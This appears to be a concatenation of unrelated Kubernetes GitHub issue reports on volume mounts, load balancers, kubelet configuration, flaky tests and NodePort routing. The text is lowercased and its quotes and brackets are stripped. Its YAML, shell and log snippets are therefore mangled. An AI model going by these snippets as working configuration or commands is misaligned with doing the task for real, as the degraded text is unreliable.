\\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc003066c80, mountdevicecallcount:1\ \r e1023 16:48:42.402837   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:48:46.402818908 +0200 cest m=+7.515317466  durationbeforeretry 4s . error: \ mountvolume.mountdevice failed for volume \\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc010837860, mountdevicecallcount:1\ \r e1023 16:48:46.402958   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:48:54.402940812 +0200 cest m=+15.515439375  durationbeforeretry 8s . error: \ mountvolume.mountdevice failed for volume \\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc022706960, mountdevicecallcount:1\ \r e1023 16:48:54.403172   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:49:10.40315672 +0200 cest m=+31.515655279  durationbeforeretry 16s . error: \ mountvolume.mountdevice failed for volume \\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc0491fa0a0, mountdevicecallcount:1\ \r e1023 16:49:10.403285   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:49:42.403269164 +0200 cest m=+63.515767723  durationbeforeretry 32s . error: \ mountvolume.mountdevice failed for volume \\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc08612a0a0, mountdevicecallcount:1\ \r --- fail: test_run_positive_volumeattachandmount  60.54s \r     reconciler_test.go:1062: timed out waiting for volume \ fake-plugin/fake-device1\  to be attached.\r fail\r fail\tk8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler\t60.703s\r makefile:184: recipe for target 'test' failed\r make:      test  error 1\r \r    \r \r   what you expected to happen  :\r \r i expect the mount operation to be retried on the same fakevolume. if the operation is retried on the same fakevolume i expect expectedmountdevicecallcount to be equal to 2.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make the change i have describe on the code  https://github.com/kubernetes/kubernetes/blob/release-1.10/pkg/volume/testing/testing.go l660  and run the test with command:\r    \r make test what=./pkg/kubelet/volumemanager/reconciler\r    \r \r   anything else we need to know?  :\r \r maybe the situation i am describing does not make sense. i am confused about the fact that the attach operation is followed by a loop on the mount operation, no matter the result of the attach operation.\r the question i have is described here: https://stackoverflow.com/questions/52951446/kubernetes-behavior-when-attach-call-fails-should-we-retry-attach-eternally-o\r depending on the answer to this question, maybe it does not make sense to  retry the attach operation ...\r \r   environment  :\r - kubernetes version  use  kubectl version  : release-1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  as it is related to the kubelet

what happened  :\r \r after building e2e binary multiple times for testing, many containers and images of kube-build remain on local disk and they waste the disk space like:\r \r    \r $ sudo /usr/local/go/bin/go  run hack/e2e.go -- --build\r ...\r $ sudo docker images\r repository                                       tag                            image id            created             size\r kube-build                                       build-127ba8f02e-5-v1.11.2-1   d8e713ce1cb4        about an hour ago   2.3gb\r $ sudo docker ps -a\r container id        image                                     command                  created             status                   ports               names\r a1081de8e99d        kube-build:build-127ba8f02e-5-v1.11.2-1   \ chown -r 0:0 /go/sr・   3 hours ago         exited  0  3 hours ago                       kube-build-data-127ba8f02e-5-v1.11.2-1\r $\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ sudo /usr/local/go/bin/go  run hack/e2e.go -- --build\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.1\r - cloud provider or hardware configuration: openstack\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : 4.4.0-142-generic\r - install tools: kubeadm\r - others:\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : first attempted via  kubernetes-users on slack    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  internal aws load balancer  ---    is this a bug report or feature request?    choose one : feature  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5+b0deb2e\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ not a git tree\ , builddate:\ 2016-08-21t12:21:36z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5+coreos.0\ , gitcommit:\ d7a04b1c6044647f5919fadf3cecb9ee70c10fc5\ , gittreestate:\ clean\ , builddate:\ 2016-08-15t21:01:42z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos -   install method  : kube-aws    our use case  : we are extending our on premise infrastructure into the aws cloud.  it's meant to be _internal-only_ and we're taking measures to guarantee that security.    feature request  : a method to guarantee that the environment _stays_ internal and does not accidentally get exposed externally.    possible methods i've explored  : - aws iam policy to restrict kubernetes from creating a public elb - aws security group limiting client source ips  i was speaking with @justinsb on  kubernetes-users on slack and he suggested i submit a request for this here.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ read-only\   ---    is this a bug report or feature request?    choose one : bug report. i am not sure if this is an issue with kubernetes, docker, or google cloud, but posting here to get this started.  i've looked at 29358, 29166, 28750, 29903 but they all appear to be related to different issues.    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:06:06z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : google cloud  gke  -   os    e.g. from /etc/os-release :    in container:      name=\ alpine linux\  id=alpine version_id=3.4.0 pretty_name=\ alpine linux v3.4\  home_url=\ http://alpinelinux.org\  bug_report_url=\ http://bugs.alpinelinux.org\      -   kernel    e.g.  uname -a  :   in container:      linux redis-cache 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 linux     -   install tools  : google cloud sdk -   others  :    what happened  : when kubernetes moves around pods, sometimes the pods with  gcepersistentdisk  volumes end up not coming up  \ timeout expired waiting for volumes to attach/mount for pod\  . when this doesn't resolve it self, i delete the pod. kubernetes recreates, eventually mounting the disk, but intermittently the disk ends up being mounted read-only even though it is the only container connected to it and  kubectl describe pod  shows the volume as \ readwrite\ .  to resolve this, i have to delete the _deployment_ and wait for the disk to auto-detach, or use  glcoud compute instance detach-disk  to remove it from the instance. after doing this, re-creating the deployment seems to launch the pod correctly and the drive gets attached in read-write mode as it should.  i've talked with another team that has seen the same behavior  @davidewatson .    what you expected to happen  : a persisted disk assigned to a single node should be read-write within the container.    how to reproduce it    as minimally and precisely as possible : it's intermittent. :/   in our case we see this when attaching disks to redis instances. the disks are not huge  200g of which maybe 15g is used  but the redis instance  pid 1 in the container  immediately launches and tries to read the disk so it would need to be mounted on container start.  we have a fairly high rate of mount timeouts that never resolve. perhaps 20% of the time. i've let some of them run as long as an hour or a day and they just keep trying to remount. sometimes deleting the pod resolves this. sometimes deleting the pod results in this read-only mount.  deployment spec:      apiversion: extensions/v1beta1 kind: deployment metadata:   name: redis-cache spec:   template:     metadata:       labels:         purpose: cache         service: redis     spec:       volumes:         - name: data           gcepersistentdisk:             pdname: redis-cache             fstype: ext4       containers:       - name: redis         image: us.gcr.io/xxxxxxxx/redis-cache:latest         resources:           requests:             memory: \ 10g\          ports:         - containerport: 6379         volumemounts:         - mountpath: /data           name: data         args:  \ redis-server\ , \ /etc/redis.conf\         dockerfile :      from redis:3.2-alpine add ./deploy/redis-cache.conf /etc/redis.conf        anything else do we need to know  :  here's a full log of the behavior.  first we saw that the redis instance was down. inspecting the cluster showed that kubernetes had shuffled the pod.      $ kubectl get pods -l purpose=cache name                                                            ready     status              restarts   age redis-cache-3629295551-h5zig                            1/1       terminating         1          2d redis-cache-3629295551-mqkm2                            0/1       containercreating   0          2m      about an hour later the pod still had not come up. inspecting the pod, shows that it's been retrying the mount over the hour and not succeeding. note that this was re-launched on the same node that the evicted pod was running on.      $ kubectl describe pod redis-cache-3629295551-abfoh name:       redis-cache-3629295551-abfoh namespace:  default node:       gke-app-name-pool-1-b5918e16-rqip/10.138.0.6 ... events:   firstseen lastseen    count   from                            subobjectpath   type        reason      message   --------- --------    -----   ----                            -------------   --------    ------      -------   59m       59m     1   {default-scheduler }                            normal      scheduled   successfully assigned redis-cache-3629295551-abfoh to gke-app-name-pool-1-b5918e16-rqip   57m       14s     27  {kubelet gke-app-name-pool-1-b5918e16-rqip}         warning     failedmount unable to mount volumes for pod \ redis-cache-3629295551-abfoh_default 72768d65-7c4a-11e6-a198-42010a8a000d \ : timeout expired waiting for volumes to attach/mount for pod \ redis-cache-3629295551-abfoh\ /\ default\ . list of unattached/unmounted volumes= data    57m       14s     27  {kubelet gke-app-name-pool-1-b5918e16-rqip}         warning     failedsync  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ redis-cache-3629295551-abfoh\ /\ default\ . list of unattached/unmounted volumes= data       i deleted the pod and let the deployment create a new one:      $ kubectl delete pod redis-cache-3629295551-abfoh pod \ redis-cache-3629295551-abfoh\  deleted $ kubectl get pods -l purpose=cache name                                                            ready     status              restarts   age redis-cache-3629295551-abfoh                            0/1       terminating         0          1h redis-cache-3629295551-o7mm9                            0/1       containercreating   0          7s      this eventually comes up, on another node:      $ kubectl describe pod redis-cache-3629295551-o7mm9 name:       redis-cache-3629295551-o7mm9 namespace:  default node:       gke-app-name-pool-1-b5918e16-8cdb/10.138.0.4 ... volumes:   data:     type:   gcepersistentdisk  a persistent disk resource in google compute engine      pdname: redis-cache     fstype: ext4     partition:  0     readonly:   false ... events:   firstseen lastseen    count   from                            subobjectpath       type        reasonmessage   --------- --------    -----   ----                            -------------       --------    -------------   7m        7m      1   {default-scheduler }                                normal      scheduled   successfully assigned redis-cache-3629295551-o7mm9 to gke-app-name-pool-1-b5918e16-8cdb   5m        3m      2   {kubelet gke-app-name-pool-1-b5918e16-8cdb}             warning     failedmount unable to mount volumes for pod \ redis-cache-3629295551-o7mm9_default d6fb24b0-7c52-11e6-a198-42010a8a000d \ : timeout expired waiting for volumes to attach/mount for pod \ redis-cache-3629295551-o7mm9\ /\ default\ . list of unattached/unmounted volumes= data    5m        3m      2   {kubelet gke-app-name-pool-1-b5918e16-8cdb}             warning     failedsync  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ redis-cache-3629295551-o7mm9\ /\ default\ . list of unattached/unmounted volumes= data    1m        1m      1   {kubelet gke-app-name-pool-1-b5918e16-8cdb} spec.containers{redis}  normal      pulledcontainer image \ us.gcr.io/xxxxxxx/redis-cache:latest\  already present on machine   1m        1m      1   {kubelet gke-app-name-pool-1-b5918e16-8cdb} spec.containers{redis}  normal      createcreated container with docker id 896b189ef167   1m        1m      1   {kubelet gke-app-name-pool-1-b5918e16-8cdb} spec.containers{redis}  normal      startestarted container with docker id 896b189ef167      but the volume isn't writable inside the container:      $ kubectl exec redis-cache-3629295551-o7mm9 -- mount | grep /data /dev/sdb on /data type ext4  ro,relatime,data=ordered

pr https://github.com/kubernetes/kubernetes/pull/31617/files introduced default storage classes for 1.6. they are created with cluster addon which can not easily be modified by end users  requires access to the master .\r \r we should improve experience before 1.6 goes out.\r \r cc @kubernetes/sig-storage-misc

is this a bug report or feature request?    choose one :  \r \r this is a feature request.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r \r \r \r   what you expected to happen  :\r \r propose to have a built-in support for active-standby applications in kubernetes.\r \r active-standby applications are applications that have multiple running instances, but only one instance is active and serving workloads at one time. all other instances are idle  standby . if the active instance is down, one of the standby instances will be promoted to active immediately. \r \r lots of enterprise legacy applications are such applications. in fact, kubernetes scheduler and controller manager are also examples. they run in active-standby mode in a ha deployment of kubernetes.\r \r these applications have similar requirements in their development and deployment, like:\r \r - role assignment:  one of the instances should be active and all others be standby. each instance needs to be aware of its current role.\r - health monitoring and role switching: when the active instance is down, one of the standby instances needs to be promoted to active. when a standby instance is down, a new standby instance should be added.\r - traffic routing:  a single service is exposed, but traffic should always be routed to the current active instance.\r - controlled update:  when update such a collection of pod instances, the standby instances should be updated before the active instance is updated.\r \r these requirements cannot be handled by current statefulset object. statefulset object is a good abstraction for clustered stateful applications, however it seems there are many differences between clustered model and active-standby model. in the former model instances are aware of each other and have their own storage, but in the latter model instances are not aware of each other and states need to be synced. \r \r now developers and operators need to implement above mentioned requirements again and again for all such active-standby applications. i'm wondering if we can make active-standby model a native supported model in kubernetes so applications can focus on their own business logic.\r \r \r \r \r \r

scenario:\r \r    \r $ cat badpod.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: invalid-config-env\r spec:\r   containers:\r   - name: hello-pod\r     image: docker.io/ocpqe/hello-pod:latest\r     ports:\r     - containerport: 8080\r       protocol: tcp\r     env:\r     - name: duplicate_key\r       value: from_env\r     - name: expansion\r       value: $ replace_me \r     envfrom:\r     - configmapref:\r         name: $%^&  \r $ kubectl create -f badpod.yaml\r    \r \r expected results:\r \r pod would not be created as pod.spec.containers 0 .envfrom.configmapref.name is invalid\r \r actual results:\r \r pod is created.\r \r turns out we are not doing any validation of envfrom in container spec today.

flaky job: pr:pull-kubernetes-e2e-kops-aws  flakes in the past week:   131    consistency:   85.30%         flakiest tests by flake count: | test | flake count | | --- | --- | | dumpclusterlogs | 159 | | up | 148 | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails | 48 |  /assign @rkouj   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | rkouj |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails | | sig/apps |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

when creating a service passing the annotation  service.beta.kubernetes.io/openstack-internal-load-balancer: \ false\  , two ips are created in the service, a private and a public:\r    \r loadbalancer ingress:\t10.11.4.90, 150.165.x.y\r    \r \r having a private ip is not a desired scenario for service discovery in federated global environments.   if we have, for example, a cluster in gke and join a local openstack cluster, this private ip is written in the dns zone but the gke cluster won't be able to access it. \r \r we could add an annotation to say we don't want the private ip to be registered in service's loadbalancer ingress field, like:\r \r  loadbalancer.openstack.org/register-internal-ip=false  or\r  service.beta.kubernetes.io/register-internal-ip=false  \r \r and when it's false, only the public ip would be written in the service, therefore in the dns zone\r \r  \r

there is a networking e2e test with the it   description:\r    \r    \ should provide unchanging, static url paths for kubernetes api services\ \r    \r this test performs gets from the kubernetes api using various paths,\r including \ /logs\ . this test for a get using path \ /logs\  should be\r skipped for provider type \ skeleton\ , since this api path is apparently\r unsupported for this provider type.  this should also cover the case of\r using --provider=local on the command line, since this translates to\r provider type skeleton .\r \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r  /area ipv6\r \r   what happened  :\r if you run e2e networking tests with --provider=local  probably also happens for --provider=skeleton, since --provider=local on the command line translates to provider type \ skeleton\  , the test with description:\r    \r    \ should provide unchanging, static url paths for kubernetes api services\ \r    \r fails when it attempts a get from api server using path \ /logs\ .\r \r   what you expected to happen  :\r this test case should be skipped for --provider=local or --provider=skeleton\r \r   how to reproduce it  as minimally and precisely as possible   :\r run e2e tests using --provider=local, e.g.:\r    \r go run hack/e2e.go -- --provider=local -v --test --test_args=\ --host=https://<insert-api-svc-ip>:443 --ginkgo.focus=unchanging\ \r    \r \r   anything else we need to know?  :\r i would like to include this test case in a suite of e2e tests used for:\r \r - qualifying kubernetes ipv6 releases  kube alpha release + cherry-picked ipv6 prs \r -  coming soon  upstream ipv6 gating tests\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is there a way to set specific cipher suite to be use in elastic load balancing? \r right now, i am trying to set the cipher suite to use only the tlsv1.2 via aws console. \r i was wondering if there is a way to set this up via service's annotation? thanks!\r \r regards,\r

the  kubecontrollermanagerconfiguration  that is now located in  pkg/apis/componentconfig  should be moved out to  pkg/controller/apis/kubecontrollermanagerconfig  instead\r \r relevant issues/prs:\r  - https://github.com/kubernetes/kubernetes/issues/53577\r  - https://github.com/kubernetes/kubernetes/pull/54211\r  - https://github.com/kubernetes/kubernetes/pull/53645\r  - https://github.com/kubernetes/kubernetes/pull/55234\r  - https://github.com/kubernetes/kubernetes/pull/49051\r  - https://github.com/kubernetes/kubernetes/issues/52428\r  - https://github.com/kubernetes/kubernetes/pull/52562\r \r @xiangpengzhao has showed interest in helping with this. there is more work to be done that moving indeed, but moving to its own api group/directory is a good first step on our way to beta and beyond for componentconfig for the k-c-m. i think @cheftako might be able to help with this at some point in the future as well, maybe with cleaning up the api types/adding structure/etc when prepping for beta  i.e. https://github.com/kubernetes/kubernetes/issues/52428 \r \r we're hoping to get this usable in at least alpha for v1.10\r \r cc @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-architecture-feature-requests

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r when using the loadbalancersourceranges property of a service in a manifest, we are force to use a cidr block.\r \r this was discovered while debugging the following issue. https://github.com/kubernetes/kubernetes/issues/56086\r \r   what you expected to happen  :\r azure allows us to use service tags  e.g. virtualnetwork, internet, etc  we should be able to specify them form a k8s service manifest.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r spec:\r {%- if cloud_provider == 'azure' %}\r   type: loadbalancer\r {%- if kubemaster_subnet_cidr and kubenode_subnet_cidr %}\r   loadbalancersourceranges:\r     - {{ kubemaster_subnet_cidr }}\r     - {{ kubenode_subnet_cidr }}\r     - virtualnetwork\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.11\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : 3.10\r - install tools:\r - others:\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r /area hw-accelerators\r  \r   what happened  :\r \r we return immediately when endpoint  listandwatch  grpc call failed and endpoint will stop:\r    go\r go func   {\r \te.run  \r \te.stop  \r }\r    \r should we give another chance  e.g. wait 3 seconds  to wait for device plugin client to come up?\r \r another thing: maybe this is why we get so many grpc error message in unit test randomly.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r i will send a pr for this proposal.\r \r @vikaschoudhary16 @jiayingz @renaudwastaken wdyt?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

shell\r $ git tag mark\r $ make what=cmd/hyperkube\r !!!  0226 13:09:59  call tree:\r !!!  0226 13:09:59   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make:      all  error 1\r    \r

since volume expansion is going beta in 1.11, we need to enable resize feature gate by default.\r \r xref : https://github.com/kubernetes/kubernetes/issues/64295\r \r \r  \r cc @saad-ali \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r i have set some parameters via config file f.e. \ staticpodpath\ , but kubelet v1.11.0 ignores it and doesn't load manifests.\r   what you expected to happen  :\r config file works fine\r   how to reproduce it  as minimally and precisely as possible   :\r config.yaml:\r    \r kind: kubeletconfiguration\r apiversion: kubelet.config.k8s.io/v1beta1\r maxpods: 30\r    \r    \r kubelet 14088 : i0702 17:03:09.052807   14088 flags.go:27  flag: --config=\ /var/lib/kubelet/config.yaml\ \r kubelet 17647 : i0702 18:34:39.491153   17647 flags.go:27  flag: --max-pods=\ 110\ \r    \r \r   anything else we need to know?  :\r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0  v1.10.5 as well \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos 1814.0.0\r - kernel  e.g.  uname -a  :  4.16.16-coreos\r - install tools: ansible\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r    /area iptables\r /area ipvs\r \r   what happened  :\r i exposed a service of nodetype with two pods. \r    \r $ kubectl get pods -o wide\r name                      ready     status    restarts   age       ip            node\r testgin-b947c4f4d-2dlr7   1/1       running   0          21h       172.30.65.2   kube-node3\r testgin-b947c4f4d-z8zjj   1/1       running   0          21h       172.30.96.2   kube-node1\r    \r    \r $ kubectl get service testgin -o yaml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ app\ :\ web\ },\ name\ :\ testgin\ ,\ namespace\ :\ default\ },\ spec\ :{\ clusterip\ :\ 10.254.2.1\ ,\ ports\ : {\ nodeport\ :8501,\ port\ :8080,\ protocol\ :\ tcp\ ,\ targetport\ :8080} ,\ selector\ :{\ app\ :\ web\ },\ type\ :\ nodeport\ }}\r   creationtimestamp: 2018-08-18t23:10:01z\r   labels:\r     app: web\r   name: testgin\r   namespace: default\r   resourceversion: \ 3271\ \r   selflink: /api/v1/namespaces/default/services/testgin\r   uid: d5960a6e-a33b-11e8-be2a-525400c9c704\r spec:\r   clusterip: 10.254.2.1\r   externaltrafficpolicy: cluster\r   ports:\r   - nodeport: 8501\r     port: 8080\r     protocol: tcp\r     targetport: 8080\r   selector:\r     app: web\r   sessionaffinity: none\r   type: nodeport\r status:\r   loadbalancer: {}\r    \r when i access the service using clusterip:port 10.254.2.1:8080 , both of pods can receive request in round-robin.  \r then, i access the service using nodeip:nodeport localhost:8501  and nodeip:nodeport kube-node2:8501  from kube-node2 inside, they can work in round-robin as well as clusterip:port.  \r but when accessing the service using nodeip:nodeport kube-node2:8501  from outside, only one pod can receive request.  \r \r according to iptables information below, i guess that clusterip:port, localhost:8501 and kube-node2:8501 from inside are hit by chain output and be translated to chain kube-svc-iwyzdspegu45djyr. however, kube-node2:8501 from outside which is accepted by chain input, then be sent to kube-proxy process, what happened next is unknown.  \r \r   what you expected to happen  :\r accessing by nodeport outside, two pods can receive request equally round-robin .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r curl <nodeip>:port/myapi\r    \r   anything else we need to know?  :\r kube-proxy run in iptables mode. \r iptables info: \r    \r  root@kube-node2 ~   iptables -s -t filter\r -p input accept\r -p forward drop\r -p output accept\r -n docker\r -n docker-isolation\r -n docker-user\r -n kube-external-services\r -n kube-firewall\r -n kube-forward\r -n kube-services\r -a input -m conntrack --ctstate new -m comment --comment \ kubernetes externally-visible service portals\  -j kube-external-services\r -a input -j kube-firewall\r -a forward -m comment --comment \ kubernetes forwarding rules\  -j kube-forward\r -a forward -j docker-user\r -a forward -j docker-isolation\r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r -a forward -o docker0 -j docker\r -a forward -i docker0 ! -o docker0 -j accept\r -a forward -i docker0 -o docker0 -j accept\r -a forward -s 172.30.0.0/16 -j accept\r -a forward -d 172.30.0.0/16 -j accept\r -a output -m conntrack --ctstate new -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a docker-isolation -j return\r -a docker-user -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x4000/0x4000 -j accept\r -a kube-forward -s 172.30.0.0/16 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -d 172.30.0.0/16 -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -m conntrack --ctstate related,established -j accept\r    \r    \r  root@kube-node2 ~   iptables -l -n -v -t filter\r chain input  policy accept 48 packets, 11568 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r  2365  278k kube-external-services  all  --                 0.0.0.0/0            0.0.0.0/0            ctstate new /  kubernetes externally-visible service portals  /\r  656k  510m kube-firewall  all  --                 0.0.0.0/0            0.0.0.0/0           \r \r chain forward  policy drop 0 packets, 0 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r  654k  172m kube-forward  all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes forwarding rules  /\r    78  5040 docker-user  all  --                 0.0.0.0/0            0.0.0.0/0           \r    78  5040 docker-isolation  all  --                 0.0.0.0/0            0.0.0.0/0           \r     0     0 accept     all  --         docker0  0.0.0.0/0            0.0.0.0/0            ctstate related,established\r    10   520 docker     all  --         docker0  0.0.0.0/0            0.0.0.0/0           \r    68  4520 accept     all  --  docker0 !docker0  0.0.0.0/0            0.0.0.0/0           \r     0     0 accept     all  --  docker0 docker0  0.0.0.0/0            0.0.0.0/0           \r    10   520 accept     all  --                 172.30.0.0/16        0.0.0.0/0           \r     0     0 accept     all  --                 0.0.0.0/0            172.30.0.0/16       \r \r chain output  policy accept 36 packets, 3367 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r 34910 2228k kube-services  all  --                 0.0.0.0/0            0.0.0.0/0            ctstate new /  kubernetes service portals  /\r  600k   48m kube-firewall  all  --                 0.0.0.0/0            0.0.0.0/0           \r \r chain docker  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain docker-isolation  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r    78  5040 return     all  --                 0.0.0.0/0            0.0.0.0/0           \r \r chain docker-user  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r    78  5040 return     all  --                 0.0.0.0/0            0.0.0.0/0           \r \r chain kube-external-services  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain kube-firewall  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 drop       all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r \r chain kube-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 accept     all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes forwarding rules  / mark match 0x4000/0x4000\r    12  1284 accept     all  --                 172.30.0.0/16        0.0.0.0/0            /  kubernetes forwarding conntrack pod source rule  / ctstate related,established\r    14  5259 accept     all  --                 0.0.0.0/0            172.30.0.0/16        /  kubernetes forwarding conntrack pod destination rule  / 